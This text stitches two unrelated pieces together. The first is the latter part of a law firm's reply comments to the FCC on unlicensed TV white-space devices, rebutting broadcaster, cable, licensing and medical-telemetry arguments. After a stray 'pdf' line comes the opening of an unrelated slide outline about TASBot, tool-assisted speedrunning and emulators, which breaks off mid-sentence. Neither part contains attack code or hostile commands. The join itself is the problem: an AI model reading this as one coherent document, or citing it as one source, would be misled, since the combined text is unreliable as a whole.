receivers enabling efficient spectrum use. Any evaluation done by the Commission should ensure that TV receivers, at minimum, observe the ATSC receiver specifications. Failing that, the Coalition urges the 24 IEEE 802.18 Comments at 11. 25 MSTV Comments at 17-21. 26 Id. at 18. 14 Commission to establish its own reasonable standards of protection. An unduly restrictive standard will simply make it uneconomic for manufacturers to build and market devices. As a result, the American public will lose, and the only winners will be those who wish to make poor quality receivers—which face a substantially greater risk of interference from adjacent DTV transmissions than from the personal/portable devices proposed by the Coalition. In short, protecting consumers and promoting spectral efficiency are not only a matter of regulating unlicensed devices, but also of ensuring that receivers have decent affordable performance, at least to the ATSC receiver specifications. 3. Low power television stations. Finally, a number of Class A, TV translator, and other low power stations have filed comments in this proceeding expressing concerns about interference protection and proposing various restrictions.27 As with full-power DTV signals, the algorithm proposed by the Coalition will provide these stations (both analog and digital) with the interference protection to which they are entitled. In this regard, the Coalition notes that some comments would have the Commission use this proceeding to extend the scope of their licenses, as they have assumed (if not specifically requested) protection at their Grade B Contour or beyond notwithstanding that low power licensees are protected only at their Grade A contours.28 None of the proposals that low power TV licensees have set 27 See, e.g. Comments of Community Broadcasters’ Association (“CBA Comments”); Comments of Entravision Holdings, LLC (“Entravision Comments”); Comments of Sevier Valley Communications (“SVC Comments”); Comments of the National Translator Association; Comments of the Region 1 Translator Association. 28 See 47 C.F.R. 74.707(a); see also CBA Comments at 2-3; Entravision Comments at 5; SVC Comments at 1. 15 forth in this proceeding need to be adopted as long as they receive the protection to which they are entitled, and the Coalition is confident that the Commission will confirm that Coalition’s prototype is more than equal to this task. C. Testing. Throughout this proceeding, the Coalition has supported the Commission’s commitment to perform objective testing to determine the appropriate parameters under which devices could operate in the TV white spaces. Indeed, given the amount of less than realistic information placed in the record to date, objective verification of many of the parties’ competing claims will be essential. The Coalition urges the Commission to give preference to those technical and operational proposals supported by devices that have been made available for testing. The Coalition has every confidence that the Commission will design and implement a series of objective tests that will confirm that incumbent licensees are protected and will reject attempts by parties to tip the scales under the guise of recommended test suites. However, the Coalition is compelled to comment on the request by MSTV to make prototypes available for inspection “by the public” – in other words by MSTV.29 This request should be rejected out of hand. The Coalition already has invested a substantial amount of time and money on its TV band device program, and its prototype contains confidential information that could place the Coalition’s members at a competitive disadvantage if released prematurely. MSTV does not offer a rationale for inspection of the device. The Coalition trusts the Commission to conduct fair and 29 MSTV Comments at 7-8. 16 impartial testing of submitted devices. Indeed, the primary advantage to Commission testing is to confirm how the device performs under objective testing. II. PERSONAL/PORTABLE DEVICES SHOULD BE AUTHORIZED AT THE SAME TIME AS FIXED DEVICES, IF NOT BEFORE. In its opening comments, the Coalition urged the Commission not to delay the introduction of personal/portable devices, but instead to authorize such devices at the same time that it authorizes fixed devices.30 Those opposing the use of personal/portable devices maintain that insufficient information is available for personal/portable devices as compared with fixed devices.31 In fact, the very opposite is true. While the Coalition has submitted a personal/portable device prototype for the Commission to test, no group has submitted a prototype of a fixed device. Thus, the only information available on fixed devices consists of theoretical analyses based on hypothetical models. This information pales beside the concrete data the Commission can obtain by testing an actual device. IEEE 802.18 and MSTV suggest that because IEEE 802 has not developed standards for personal/portable devices, the FCC should not yet authorize such devices, but rather should initiate another proceeding to examine personal/portable devices.32 IEEE 802’s failure to promulgate standards in a timely manner cannot be allowed to dictate spectrum policy—the Commission’s role is to establish protection standards, not to mandate particular implementation approaches. The Commission sought information about personal/portable devices in the initial NPRM at the same time that it proposed the 30 Coalition Comments at 20. 31 See, e.g., MSTV Comments at 6. 32 See IEEE 802.18 Comments at 3-4; MSTV Comments at 34. 17 use of fixed devices.33 Because the IEEE made the deliberate choice to address only the latter, it should not be heard on the former. More fundamentally, established standards are not and should not be a prerequisite for Commission authorization. In fact, spectrum allocation often precedes standardization, as in the cases of Wi-Fi, Bluetooth, Ultra- wideband and myriad other innovative services. Spectrum allocation is a task for government, not for private parties working to develop technology standards which may—or may not—advance the public interest. Equally unavailing is MSTV’s suggestion that the Commission and industry must “gain experience” with fixed devices before personal/portable devices are authorized.34 Such an argument is a non-sequitur: fixed devices do not operate under the same parameters, nor function in the same way, as personal/portable devices. Experience with fixed devices will add only to the knowledge of fixed devices. In fact, with the operating parameters chosen by the Coalition, personal/portable devices pose less risk than fixed devices. The Commission will be able to obtain sufficient information to authorize personal/portable devices, and should do so at the same time as fixed devices, if not before. Finally, in light of MSTV’s insistence that TV band devices not be authorized for sale “at least until February 2009,”35 the Coalition again urges the Commission to 33 See Unlicensed Operation in the TV Broadcast Bands; Additional Spectrum for Unlicensed Devices Below 900 MHz and in the 3 GHz Band, Notice of Proposed Rule Making, 19 FCC Rcd. 10018, 10026-29 (¶¶ 18-19, 21-24) (2004) (“NPRM”). 34 MSTV Comments at 6. 35 Id. at 5-6. 18 maintain its commitment to allow the sale of such devices as of February 17, 2009.36 As the Coalition previously has explained, it has solid roadmaps for delivery of unlicensed devices in the TV band in the near term.37 Delaying this deadline will drive resources away from this development, vastly decreasing the chances that innovative TV band services and devices will be developed. In short, opponents of personal/portable devices have not demonstrated any reason why the Commission should decline to authorize personal/portable devices or undertake yet another rulemaking to consider whether to authorize personal/portable devices. Nor have they demonstrated why personal/portable devices should be authorized later than fixed devices. The Commission should act as soon as possible this year to authorize the sale of unlicensed TV band devices—including personal/portable devices—by no later than February 17, 2009. III. UNLICENSED USE OF THE WHITE SPACES WILL PROVIDE THE GREATEST BENEFIT TO THE PUBLIC. As several parties have observed, this proceeding began with the recognition that the “significant growth of and consumer demand for unlicensed wireless broadband applications” supported opening up the white spaces for unlicensed use.38 While a handful of commenters continue to push for licensed allocation, most of these arguments already have been effectively refuted.39 Members of the Coalition and others have explained that, while unlicensed use will yield substantial benefits, licensed services are 36 FNPRM ¶ 16. 37 Coalition Comments at 20. 38 NPRM ¶ 7. 39 See, e.g., Coalition Comments at 21-28; NAF Comments at 9-62. 19 not likely to be deployed extensively, and will not provide greater protection to incumbents.40 Accordingly, the Coalition will focus in its reply on a subset of arguments offered in response to the Further Notice. At the outset, the Coalition notes that a certain inconsistency characterizes the advocacy of those favoring licensed use. On the one hand, these comments suggest that extensive use of the white spaces is unworkable.41 Yet these same advocates nevertheless insist that the white spaces will create so much value their auction will be extremely lucrative, perhaps to the tune of billions of dollars.42 One party has attempted to resolve this inconsistency (at least in part) by proposing that white space licensees be allowed to pay incumbents to accept interference.43 This proposal may disenfranchise some TV viewers who would otherwise receive acceptable TV pictures today. It may also cause the broadcasters to violate the public trust the Commission has bestowed on them, and to reap inappropriate profit from the free spectrum they have been given. This proposal is even at odds with the broadcasters’ insistence throughout this proceeding that the “public’s free over-the-air television service” is sacrosanct even at the outer limits of the contour where a television signal cannot be decoded.44 Putting aside these inconsistencies and inappropriate 40 Id. 41 See, e.g., MSTV Comments at 5-24; Qualcomm Comments at 3-4 (noting that it is “highly skeptical” that personal/portable devices will be able to employ spectrum sensing to avoid causing harmful interference). 42 See, e.g., Qualcomm Comments at 3-4, MSTV Comments at 38. See also Comments of Charles L. Jackson and Dorothy Robyn (“Jackson/Robyn Comments”) at 58. 43 See generally Jackson/Robyn Comments. 44 See, e.g., MSTV Comments at 12 n. 29. 20 consequences, the arguments advanced by licensed advocates in response to the Further Notice fail for two even more fundamental reasons. A. Licensed Allocation of the White Spaces Will Not Lead to More Efficient Spectrum Use. Comments filed by Charles Jackson and Dorothy Robyn and funded by Qualcomm make the most extensive case in the record for licensed use of the white spaces.45 Jackson and Robyn’s argument is based largely on the work of economist Ronald Coase, who has posited that, absent transaction costs, any well defined allocation of property rights will lead to an efficient outcome.46 Specifically, under the Coase theorem, clear property rights will allow private parties to bargain to internalize negative externalities (in this case harmful interference).47 In other words, while Jackson and Robyn concede that the “Swiss cheese” nature and other characteristics of the white spaces decrease the usefulness of this spectrum, they maintain that “the white space is ‘junky’ in good part because broadcasters have no incentive or ability to sell or lease unneeded bandwidth.”48 The majority of Jackson and Robyn’s proposal need not be addressed in detail for the fundamental reason that its underlying premise—that broadcasters should be entitled to sell portions of the TV channel spectrum the Commission has assigned them—is well 45 See generally Jackson/Robyn Comments. 46 See generally Ronald H. Coase, The Problem of Social Cost, 3 J. LAW & ECON. 1 (1960). 47 Jackson/Robyn Comments at 3-4 (citing Ronald H. Coase, The Federal Communications Commission, 2 J. LAW & ECON. 1 (1959)). 48 Jackson/Robyn Comments at 24. 21 beyond the scope of this proceeding.49 The Further Notice sought public comment only as to whether the white spaces should be allocated on an unlicensed or licensed basis; it certainly did not ask whether the longstanding licensing regime for TV broadcasters themselves should be revised. While the Commission can consider altering the scope of broadcasters’ licenses, it must do so within the framework of the notice and comment requirements of the Administrative Procedure Act,50 necessitating a further NPRM and order in addition to the final order the Commission is scheduled to issue this autumn.51 However, the Commission need not take this step, as the extremely low transaction costs required for successful Coasian bargaining are highly unlikely to occur. One alternative proposed by Jackson and Robyn is to establish one nationwide license for the white spaces,52 but this proposal is flatly inconsistent with virtually every other terrestrial wireless auction to date, and would surely not happen here.53 It is far more realistic to assume that the white spaces would be auctioned off in much smaller 49 It would also be an egregious abuse of the public trust and a violation of the rules under which broadcasters have been given licensed spectrum for free. In fact, the Commission specifically declined to address this issue in the Secondary Markets NPRM, noting that it was not inquiring as to whether the Commission “should revise any of its policies and rules within the mass media services to facilitate more robust secondary markets in the broadcast field. We make this decision because of the unique obligations placed on broadcasters and the public interest considerations applicable in this context.” Promoting Efficient Use of Spectrum, Notice of Proposed Rulemaking, 15 FCC Rcd. 24203, 24227 (¶ 69) (Nov. 27, 2000). 50 See 5 U.S.C. § 553. 51 See Office of Engineering and Technology Announces Projected Schedule for Proceeding on Unlicensed Operation in the TV Broadcast Bands, Public Notice, 21 FCC Rcd. 10124 (Sept. 11, 2006). 52 Jackson/Robyn Comments at 42. 53 See, e.g., Pierre de Vries, Populating the Vacant Channels: The Case for Allocating Unused Spectrum in the Digital TV Bands to Unlicensed Use for Broadband and Wireless Innovation, New America Foundation Working Paper #14 at 15 (Aug. 2006), available at http://www.newamerica.net/files/WorkingPaper14.DTVWhiteSpace.deVries.pdf (last visited Feb. 28, 2007). 22 geographic regions, greatly increasing both the number of negotiations that must take place with each broadcaster, as well as the number of potential negotiators. Moreover, irrespective of whether one or several licenses are auctioned, the winner would have to negotiate with numerous high and low power TV station owners, wireless microphone operators, TV translator operators, and potentially Mexico and Canada. Under any scenario, transaction costs are likely to be astronomical, to say nothing of the high likelihood that hold-outs will occur.54 Perhaps recognizing the substantive and procedural defects in their Coasian bargaining argument, Jackson and Robyn also maintain that the white spaces could still be licensed absent bargaining, as licensees could operate under the default restrictions that otherwise would be imposed on unlicensed use.55 This is true enough, but such a proposal would run afoul of the many concerns the Commission raised in the Further Notice about allocating white spaces spectrum on a licensed basis.56 In fact, absent the ability to bribe incumbents to accept interference and injure their customers, the only efficiency arguments licensed advocates have mustered are that protection criteria may be less rigorous under a licensed regime and that the “certainty” of a white spaces license would compel more infrastructure investment.57 Each of these arguments fails. 54 As the Commission has recognized, “[h]oldouts may be a sign of a market imperfection or failure that might impede the proper functioning of the market.” Service Rules for the 746-764 and 776-794 MHz Bands, and Revisions to Part 27 of the Commission's Rules; Carriage of the Transmissions of Digital Television Broadcast Stations; Review of the Commission’s Rules and Policies Affecting the Conversion to Digital Television, Third Report and Order, 16 FCC Rcd. 2703, 2727 (¶ 55) (2001). 55 Jackson/Robyn Comments at 52. 56 FNPRM ¶¶ 28-29, 31. 57 Qualcomm Comments at 5, Jackson/Robyn Comments at 26. 23 First, licensed advocates have offered no reason to believe that “the FCC would be likely to impose … less protective interference standards for licensed white-space operations.”58 Certainly, the Commission has not proposed different operating parameters for licensed and unlicensed use. Because devices will follow the same laws of physics irrespective of whether they are licensed, a licensing regime does not decrease the risk of harmful interference.59 There is no justification for watering down the harmful interference protection criteria the Commission will set, because if the Commission does so there is substantial risk that harmful interference to over the air broadcasters will occur. Indeed, if the Commission’s rules were to be relaxed for licensed use, licensees would transmit at higher power, increasing the likelihood of interference relative to unlicensed use. With respect to infrastructure investment, many of the uses for which the TV white spaces are uniquely suited, such as neighborhood and municipal mesh networks, require little to no infrastructure investment. Moreover, the substantial number of WISPS operating in existing unlicensed spectrum demonstrates that licenses are not a prerequisite to deploying infrastructure when it is required. This history of investment in the unlicensed spectrum refutes the speculation that a licensed regime will lead to greater investment. Most importantly, the uncertain nature of rights allocated under a white space license would negate whatever unique investment incentive a license would otherwise provide. Indeed, even advocates of licensed have conceded that “White Space licensees 58 Jackson/Robyn Comments at 47. 59 See Coalition Comments at 25-28. 24 could lose their ability to operate on some or all of the spectrum.”60 While these advocates contend that “the best way to take account of that risk is to let the market decide,”61 they neglect to explain what happens when the market decides that a license is too “junky” to provide a return on investment. In these cases, the spectrum will lie fallow when it could be tapped for myriad unlicensed uses, and the public will suffer. Because the white spaces are power-restricted, have a lower status than incumbent operations (including wireless microphones), and are subject to substantial variation based on time and geography,62 the white spaces would be by far the most restricted wireless broadband spectrum ever auctioned and licensed. The Commission was correct when it suggested that unlicensed uses may be “better able to dynamically adapt to a shifting spectrum environment characterized by low power operation,”63 and it should reaffirm its initial decision to allocate the white spaces on an unlicensed basis. B. Advocates of Licensing Dramatically Understate the Value of the White Spaces for Unlicensed Use. Notwithstanding the Commission’s recognition of the growing consumer demand for unlicensed wireless spectrum64 and the specific proposals of a number of comments for unlicensed use,65 advocates of licensed use continue to maintain that there is “no 60 Qualcomm Comments at 6. 61 Id. 62 FNPRM ¶¶ 27-29. 63 Id. ¶ 29. 64 NPRM ¶ 7. 65 See, e.g., Coalition Comments at 21-28; IEEE 802.18 Comments at 5; Comments of Motorola, Inc. at 7,11; CEA Comments at 2; Comments of the Computing Technology Industry Association at 3-4; see also generally NAF Comments. 25 documented need for additional unlicensed spectrum.”66 This is simply not the case: of the “beachfront” spectrum below 2 GHz, only 26 MHz is available for unlicensed broadband use, as opposed to 1,974 MHz for federal or licensed use. Indeed, there is absolutely no unlicensed spectrum available for wireless broadband in the spectrum below 900 MHz—one of the core inquiries in this proceeding. Licensed advocates by and large have acknowledged the inherent desirability of TV spectrum due to its superior propagation characteristics, but nevertheless suggest that unlicensed users may actually be better off with the spectrum allocations at 2.4 and 5 GHz67 with their inferior propagation characteristics. This argument presupposes that future unlicensed use would merely mimic existing unlicensed deployments, but this will not be the case. For example, in addition to short range applications such as media distribution (which will be far more robust than they are at 2.4 or 5 GHz), the Coalition envisions a number of “medium range” applications based on neighborhood self- organizing mesh networks.68 These types of applications simply are not possible at the existing higher frequencies allocated to unlicensed devices. Significantly, the Commission has recognized that the white spaces are capable of providing not only cheaper and more widely available broadband, but also a host of “new and innovative types of devices and services for businesses and consumers.”69 The response of licensed advocates is telling. For example, Jackson and Robyn concede that 66 See, e.g., Qualcomm Comments at 6. 67 See, e.g., MSTV Comments at 38-39; Qualcomm Comments at 4,6; Jackson/Robyn Comments at 27. 68 Coalition Comments at 24. 69 FNPRM ¶ 1. 26 “unlicensed use of the 2.4 GHz band has spawned WiFi and other major innovations,” but at the same time reject the notion that “additional unlicensed spectrum will create significant new opportunities for innovation, given the large supply that already exists.”70 But they have no satisfactory explanation of why unlicensed innovation is suddenly going to cease. Of course, as of today the supply of spectrum with the superior propagation characteristics of the TV band available for unlicensed broadband use is not large—it is zero. The upcoming DTV auctions guarantee that much of this desirable spectrum will be made available on a licensed basis. The Commission should reaffirm its initial decision to allocate the white spaces on an unlicensed basis, thus ensuring that the unique properties of TV band spectrum are available for both licensed and unlicensed use. Finally, it bears repeating that only an unlicensed allocation will ensure that available white spaces spectrum can be accessed throughout the country. While licensed advocates may maintain that the market should decide whether the white spaces should be used, there are numerous instances where uncertainty, high costs, and bleak prospects for return on investment have limited the attractiveness of for-profit deployments in spectrum with similar restrictions.71 In contrast, as the success of the 2.4 GHz band demonstrates, seemingly restrictive and unattractive spectrum can be used to benefit the public in a number of ways. Entities may seek to deploy broadband services as a public good using unlicensed spectrum and technologies such as self organizing mesh networks. Thus, any valuation of white spaces must take into account the numerous benefits to be derived from allowing the public direct access to this spectrum. In short, the Commission 70 Jackson/Robyn Comments at 33. 71 NAF Comments at 30-35. 27 should continue with its initial plan to allocate the white spaces for unlicensed use. This decision, coupled with the upcoming DTV auctions, will ensure that TV band spectrum is available for both licensed and unlicensed applications. C. The Commission Should Not Introduce a New Enforcement Regime for Unlicensed Devices. Broadcasters also have called for a new enforcement regime to police unlicensed devices operating in the TV bands.72 However, as the Coalition previously has discussed, their primary justification for doing so—that devices could operate in a manner inconsistent with the Commission’s rules—applies with equal force to licensed devices.73 Indeed, two of the primary examples MSTV cites to demonstrate the risks of harmful interference (Nextel operations in the 800 MHz band and satellite radios) involved licensed rather than unlicensed operations.74 MSTV notes that websites sell devices that could be used to modify Wi-Fi devices to make them non-conforming,75 but users also operate illegally in licensed spectrum bands. Indeed, as the Commission is aware, there are of countless abuses of licensed spectrum, including websites and vendors in large cities selling illegal cell phone jammers, individuals modifying cell phones to transmit at illegally excessive power, users illegally operating wireless microphones in the TV bands, ham radio operators transmitting on unauthorized frequencies and at illegal power levels, and marine radio licensees operating illegally. 72 MSTV Comments at 31-32. 73 Coalition Comments at 25-26. 74 MSTV Comments at 7, 29. 75 Id. at 30-31. 28 The Commission already has substantial tools at its disposal—including equipment authorization, fines, and prohibition of imports—to deal with the unlikely scenario of widespread non-conforming use by unlicensed TV band devices.76 Thus, there is certainly no reason to give serious consideration to MSTV’s two-sentence insistence that the Commission require unlicensed devices to respond to “kill signals” sent via the Internet.77 Such a requirement would be an open invitation to hackers, who could use such signals to cause massive malicious denial of service attacks, and unnecessarily restrict the use of devices by requiring them to maintain a connection to an ISP to operate. Further, as MSTV concedes (and perhaps intends) evaluating this proposal also would introduce additional delay in this proceeding.78 Calls for a new enforcement regime must be based on more than MSTV’s speculation that the Commission will be unwilling or unable to enforce its rules. IV. OTHER ISSUES. A. Wireless Microphones. As the Coalition explained in its opening comments, it is confident that Commission testing will confirm that the Coalition’s proposed detection threshold of - 114 dBm will provide wireless microphone licensees with the interference protection to which they are entitled.79 However, wireless microphone advocates have now submitted a new request, asking the Commission to set aside a number of vacant TV channels for 76 Coalition Comments at 26. 77 MSTV Comments at 32. 78 Id. (“Successful development of such a technological enforcement regime … requires further study and development.”). 79 Coalition Comments at 29-30. 29 their exclusive use.80 While the Coalition believes that such a proposal is not necessary to protect wireless microphone use, it is not opposed to reserving channels for wireless microphone use, provided that those channels are between channels 2-20. Wireless microphone advocates have also proposed a beacon system to create a “bubble” around areas where wireless microphones are transmitting.81 Such a “bubble” will not provide any additional benefits for wireless microphone users, whom the Coalition’s proposed detection threshold will protect fully (and who may also have excess protection through the reservation of channels 2-20). Instead, these beacons would prevent the public from receiving the maximum benefits from unlicensed devices by unnecessarily preempting use of the white spaces over wide geographic areas and long periods of time. In addition, the record in this proceeding demonstrates that many—if not most— wireless microphone users in the TV band operate illegally.82 Just as sales of wireless microphones have not been restricted only to licensed users, sales of beacons would surely spread to these same scofflaws, who would then create “bubbles” around their unauthorized wireless microphone transmissions. Even implicitly allowing illegal devices to use beacons to block out spectrum around their transmissions would prioritize illegal use over authorized use of the white spaces. The Commission need not—and should not—protect unlawful users, as doing so would be de facto ratification of the 80 See Comments of Shure, Inc., at 12-13. 81 See id. at 16-19; IEEE 802.18 Comments at 10. 82 See 47 CFR § 74.832 (limiting licenses for low power auxiliary stations to broadcasters and media producers). Other commenters have presented evidence about this issue previously. See Technical Comments of New America Foundation, at 19-20 (Jan. 31, 2007); Reply Comments of Intel, Inc. at 25, n. 95 (Jan. 31, 2005). 30 illegality and invite others to flout the Commission’s rules. It would make more sense simply to end the licensed status of wireless microphones and make them unlicensed devices. B. Public Safety Operation on Channels 14-20. The Coalition shares the Commission’s concern about protecting public safety operations on channels 14-20,83 and for this reason did not advocate that personal/portable devices be allowed on these channels in its opening comments. However, the Coalition is pleased to learn that Motorola advocates the use of personal/portable devices for public safety and first responders in channels 14-20.84 Allowing public safety agencies to supplement their existing operations with unlicensed personal/portable devices not only will provide back up protection for existing uses, but will allow public safety agencies to obtain the benefits the general public will receive from unlicensed devices.85 The Coalition disagrees with Motorola that spectrum sensing is unproven, and (as stated previously) is confident that the Commission will so find. The Coalition notes that consumer personal/portable devices can easily be modified by the manufacturer to accommodate public safety operations on channels 14- 20. Thus, by allocating the use of channels 21-51 for unlicensed personal/portable use by the public, the Commission can ensure that prices for counterpart public safety devices will decrease dramatically, providing both the general public and public safety users with affordable access to the benefits that these devices will provide. 83 FNPRM ¶¶ 21, 56. 84 See Comments of Motorola, Inc. at 9-13. 85 See Coalition Comments at 23-24 (discussing the many benefits of TV band devices). 31 C. Interference to Cable Systems. Although the Coalition’s analysis suggests otherwise, the cable industry continues to maintain that unlicensed TV band devices represent a significant potential source of interference to cable operations.86 While the Coalition disagrees with the majority of NCTA’s assertions, it does not specifically oppose NCTA’s recommendation that personal/portable devices not operate on channels 2-4.87 Indeed, the Coalition does not oppose restricting personal/portable devices from all VHF channels, which appears to be the source of many of NCTA’s concerns regarding direct pickup interference.88 However, the Commission should reject outright the other measures proposed by the NCTA, including capping transmit power for personal/portable devices at 10-20 mW, and requiring coordination with cable headends operating outside the Grade B Contour.89 As a threshold matter, cable headend antennas are usually mounted far off the ground and out of the way of populated areas, and typically are highly directional. These factors make off-axis interference generated by a low power personal/portable device highly unlikely. More fundamentally, by setting up headends beyond the Grade B Contour, cable companies have accepted the risk of relying on transmissions that are not protected from harmful interference. Arguments that the Commission should not take into account “whether the broadcast signal received is inside or outside of a defined contour”90 do not 86 See generally Comments of the National Cable and Telecommunications Association (“NCTA Comments”). 87 NCTA Comments at 5. 88 Id. 89 Id. 90 Id. at 17. 32 help determine how best to enable use of the white spaces, but merely seek to expand impermissibly the rights of broadcasters beyond the scope of their licenses. The NCTA implies that the restrictions it has proposed are necessary to allow cable companies to meet their “must carry” obligations under Part 76 of the Commission’s rules,91 but this is simply not so. If a broadcaster wishes to invoke its must carry rights, it has the obligation to provide a “good quality” signal (which the Commission has determined to be -61 dBm or better for digital signals) at the cable system’s principal headend.92 Indeed, cable companies routinely refuse to carry broadcasters’ signals based on their failure to provide a good quality signal to their principal headends.93 As the NCTA concedes, signals are often delivered terrestrially rather than over-the-air,94 and there is no reason that broadcasters cannot do so if they cannot deliver a -61 dBm signal to areas where they are not entitled to interference protection. 91 Id. at 17, 19. 92 In re Carriage of Digital Television Broadcast Signals Amendments to Part 76 of Commission's Rules, First Report and Order and Further Notice of Proposed Rule Making, 16 FCC Rcd. 2598, (¶¶ 44-46) (rel. Jan. 23, 2001). See also 47 U.S.C. § 535(g)(4) (station required to deliver good quality signal as defined by Commission); 47 C.F.R. § 76.55(c)(3) (cable system not required to carry UHF station unless station provides good quality over the air signal or pays costs of delivering good signal); Daniel L. Brenner et al. Cable Television and other Nonbroadcast Video: Law and Policy § 6:79. 93 See, e.g., LeSEA Broadcasting Corp. v. Cox Communications Kansas, LLC, Order on Reconsideration, 19 FCC Rcd. 6218 (2004); Paxson Salt Lake City License, Inc. v. Sonic Cable Television, Order on Reconsideration, 15 FCC Rcd. 7361, 7365 (2000); Washburn University Topeka v. Kansas City Cable Partners, Memorandum Opinion and Order, 14 FCC Rcd. 9323 (1999); Paxson Salt Lake City License, Inc. v. Sonic Cable Television, Memorandum Opinion and Order, 13 FCC Rcd. 9434 (1998). 94 NCTA Comments at 15-16. 33 D. Wireless Medical Telemetry Services. Finally, two parties have expressed concern about harmful interference to devices in the Wireless Medical Telemetry Service (“WMTS”).95 While 8 MHz of this spectrum is allocated at 1.4 GHz, the Commission also has allocated 6 MHz to this service at 608- 614 MHz, which corresponds to TV channel 37. The Commission has proposed that TV band devices not operate on this channel, and the Coalition agrees that this is a sensible restriction. Accordingly, the Coalition is has no objection to programming devices to avoid this channel. However, the Coalition does not believe that the myriad other restrictions proposed by GE Healthcare and the American Society for Healthcare Engineering (“ASHE”)96 will be required to authorize the use of the low power devices that the Coalition has contemplated. Assuming that the Commission restricts devices from operating in channel 37, it will have completely eliminated the risk of co-channel interference. Moreover, given the extremely close proximity between the transmit and receive antennas of these devices, there is also very little chance that a 100 mW personal/portable operating in channels 36 or 38 would cause interference to the WMTS device even if the personal/portable device were being used by the patient. Finally, the device proposed by the coalition always will use TPC to transmit at the minimum 95 See generally Comments of GE Healthcare (“GE Healthcare Comments”); Comments of the American Society for Healthcare Engineering of the American Hospital Association (“ASHE Comments”). 96 For example, these comments have proposed a requirement that personal/portable devices employ geolocation technologies, that they restrict operation on certain vacant channels, and that operators notify health care facilities prior to commencing operations. See GE Healthcare Comments at 3-5, 8- 10; ASHE Comments at 5-6. 34 required power for reliable communication, reducing the likelihood of adjacent channel interference even further. ASHE and GE Healthcare also have raised the issue of legacy Part 15 medical telemetry devices, which were authorized to operate in most of the TV spectrum without protection from harmful interference.97 Of course, the vulnerable status of these older devices is the very reason why the Commission created a safe harbor for medical telemetry several years ago, allocating 14 MHz (including 8 MHz outside the TV band entirely) where operators could relocate and receive protection. Nevertheless, some health care providers have continued to deploy unprotected Part 15 devices because WMTS devices are not compatible with their old hardware.98 Indeed, GE Healthcare continues to sell devices that operate in unprotected spectrum notwithstanding that the Commission first announced its intention to authorize white space devices in 2002.99 While GE Healthcare maintains that the Commission should delay the introduction of TV band devices on channels 33-36 until 2010 to allow heath care providers more time to migrate,100 granting this request will serve only to encourage more irresponsible behavior on the part of those still operating medical devices in unprotected bands. By the time TV band devices are authorized for operation in February 2009, 97 GE Healthcare Comments at 3; ASHE Comments at 3-4. 98 GE Healthcare Comments at 4-5. 99 See, e.g. ApexPro Telemetry System Specifications, available at http://www.gehealthcare.com/inen/monitor/products/telemetry/apexpro_specs.html (last visited Feb. 28, 2007). 100 GE Healthcare Comments at 5. 35 medical telemetry operators will have had notice of WMTS safe harbor for almost an entire decade. As ASHE concedes, it is hard to determine the exact number of health care providers that may still be operating unprotected older devices outside the safe harbor.101 But if interference protection for medical telemetry truly is a “matter of life and death,” the time for those stragglers who have still not relocated to the protected WMTS bands to do so is today. These providers have had notice of the safe harbor for years, and have had notice of this proceeding for almost as long. Health care providers can—and most certainly should—stop operating in unprotected spectrum within the next two years if they have not done so already. The Commission cannot allow its policy goals to be thwarted by those too cheap or irresponsible to buy appropriate equipment even with almost ten years’ advance notice. CONCLUSION The Commission’s decision to make available the TV white spaces for use by new devices has created exciting possibilities for Americans, including affordable broadband access and a host of innovative devices and services. However, this potential will be realized only if the technical requirements for such devices do not sacrifice flexibility to accommodate overreaching interference protection proposals. The Coalition urges the Commission to adopt minimal technical and operational rules, thereby encouraging innovation to flourish. In particular, the Commission should confirm that the technical and operational parameters proposed by the Coalition will provide incumbent users with the protection to which they are entitled by testing the Coalition’s 101 ASHE Comments at 4 n.7. 36 prototype device. The Commission should also authorize personal/portable devices concurrently with fixed devices, and reaffirm its initial decision that an unlicensed model is most appropriate for the TV white spaces. By taking these steps, the Commission will help ensure that the American people achieve the maximum benefit from this valuable public resource. Respectfully submitted, /s/ Scott Blake Harris Scott Blake Harris Edmond J. Thomas∗ S. Roberts Carter III Kelley A. Shields** HARRIS, WILTSHIRE & GRANNIS LLP 1200 Eighteenth Street, NW Washington, DC 20036 (202) 730-1300 ∗ Senior Policy Advisor ** Admitted only in Georgia; supervision by Scott Blake Harris, a member of the DC Bar, while DC Bar application pending.
pdf
dwangoAC TASBot the perfectionist The amazing life & achievements of... The amazing life & achievements of... Agenda ● Intro to Speedrunning video games, Tool-Assisted Speedruns, and Emulators ● TASBot: Playing back a TAS on real hardware ● TAS techniques, history, evolution ● Emulator tools - memory search, Lua scripting ● Beyond emulators - disassemblers and Binary Ninja ● Remaining limitations - emulator differences, inaccuracies ● Key point: TAS tools are like really fun penetration testing tools ● Interactive demo of Pokemon Red, Q&A Speedrunning - playing games fast ● Inspired in part by in-game completion timers (Metroid) ● Many categories, ranging from "any%" to "low% no major glitches" ● SpeedDemosArchive.com and others track fastest completion times ● Strict rules and peer review ensure no cheats or macros are employed ● Highly entertaining, especially for a game you've played normally Speedrunning records verified from video captures or live at GDQ events Even beyond standard limits: blindfolded, 1-handed... Tool-Assisted Speedruns: playing games even faster ● Also called Tool-Assisted Superplays, used as a noun or verb as TAS, TASing, TAS’ed, etc. ● Early TAS’s were usually made with tools built in to specific PC games (Doom, Quake) ● By the late 90’s, Doom Done Quick was well known, beating the game in 19:41 Tool-Assisted Speedruns (TAS) ● Tool-Assisted Speedruns push the limits of the hardware and game rather than the human ● Emulator tools include saving / loading game states, frame advance, and scripting ● Movie files deterministically record every button press for later playback ● Let's be honest, it's basically the Doped Olympics, with no rules ○ Bad idea when it comes to humans, but a lot of fun when beating games ○ A 2003 run of SMB3 by Morimoto was unlabeled, causing much controversy ● TASVideos.org formed by Bisqwit, now hosts runs for many platforms by Morimoto ● Live demo: TASBot playing back a movie of SMB3 on real hardware ● Explanations forthcoming while TASBot happily mimics a real controller What, a live demo already? Rerecording enabled video game emulators and frameworks ● TAS techniques are enabled by emulators of video game consoles ○ FCEUX (NES), lsnes (SNES), VBA (Game Boy), BizHawk (multiple platforms) ● Some platforms, such as Windows, have rerecording frameworks ○ Hourglass, specialized projects like nethack-tas-tools ● Some emulators are very accurate, with scripting and memory search tools Emulation accuracy has improved over time ● Early emulators were highly inaccurate, often unusably so ● Emulation accuracy was improved through clean room reverse engineering ○ OK, sometimes using not-so-clean techniques and stolen manuals ● Some took emulation accuracy to extreme levels (Byuu) at the cost of usability ● This obsession allows movie files to match actual hardware, frame for frame "Console verification", all without voiding any (long expired) warranties ● In 2009, true of TASVideos.org used a PIC microcontroller to press NES buttons ● By 2011, micro500 built his NESBot and demonstrated the first replay of SMB1 ○ DarkKobold used an NESBot at SGDQ 2011 showing SMB2 and Wizards and Warriors 3 ● Through 2012, devices for other consoles were added, such as Genesis and N64 ● I (as dwangoAC) pitched 